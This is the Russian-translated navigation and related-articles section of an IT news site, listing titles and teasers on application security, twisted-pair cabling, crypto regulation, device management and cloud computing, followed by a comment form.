  • Как выполнить оценку риска кибербезопасности за 5 шагов
Углубитесь в безопасность приложений и платформ
  • отравление печеньем

    Автор: Рахул Авати

  • 5 угроз безопасности приложений и способы их предотвращения

    Автор: Кэти Донеган

  • Как лучше всего предотвратить XSS-атаки?

    Автор: Чарльз Ширер

  • атака проверки ввода

    Автор: Лора Фитцгиббонс

Сеть

  • 9 практических вопросов о сетевых кабелях с витой парой

    Пройдите этот практический тест по кабелям с витой парой, взятый из «Основы работы в сети: учебник CompTIA Network+ N10-008» до . ..

  • Введение в проводку витой пары

    Этот отрывок из «Основы работы в сети: учебник CompTIA Network+ N10-008» содержит обзор сети с витой парой …

  • Рекомендации по настройке кабелей витой пары

    В этом разделе вопросов и ответов автор Джеффри Бизли обсуждает, что студенты, планирующие сдавать экзамен CompTIA Network+, должны знать о …

ИТ-директор

  • Агентства США обращают внимание на существующие правила для криптографии и регулирования Web3

    В то время как ЕС рассматривает новое регулирование криптовалюты, Комиссия по ценным бумагам и биржам США сосредоточена на ужесточении …

  • Законодатели США возобновляют продвижение федерального закона о конфиденциальности

    Политики хотят, чтобы федеральный закон о конфиденциальности данных ограничивал возможности компаний собирать данные о физических лицах и запрещал . ..

  • Каковы 4 различных типа технологии блокчейн?

    Публичные, частные, гибридные или консорциумные, каждая сеть блокчейнов имеет свои плюсы и минусы, которые в значительной степени определяют ее идеальное использование …

Корпоративный настольный компьютер

  • 7 ключевых преимуществ управления мобильными устройствами для бизнеса

    Средства управления мобильными устройствами предлагают ряд преимуществ, таких как повышенная производительность и повышенная безопасность, для организаций, которые …

  • Как оценить облачные и локальные MDM, EMM или UEM

    Организациям следует решить, что лучше — локальная или облачная платформа MDM или UEM. Определите, как принять решение и…

  • Чем UEM, EMM и MDM отличаются друг от друга?

    ИТ-специалисты должны понимать разницу между инструментами UEM, EMM и MDM, чтобы они могли выбрать правильный вариант для своих пользователей. Узнать…

Облачные вычисления

  • Знакомство с иерархией ресурсов Azure

    Группы управления Azure, подписки, группы ресурсов и ресурсы не являются взаимоисключающими. Предприятия могут — и часто делают …

  • Начните работу с Amazon CodeGuru с помощью этого руководства

    Amazon CodeGuru проверяет код и предлагает улучшения пользователям, которые хотят сделать свой код более эффективным, а также оптимизировать …

  • Упростите управление несколькими облаками с помощью 5 лучших практик

    Внедрение надежных методов управления несколькими облаками может смягчить проблемы и обеспечить безопасность. Ознакомьтесь с передовыми практиками и инструментами…

ComputerWeekly.com

  • Голландские больницы недооценивают последствия кибератаки

    ИТ-сбои в организациях неотложной помощи в Нидерландах значительно участились с 2010 года, затрагивая .

Оставить комментарий

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *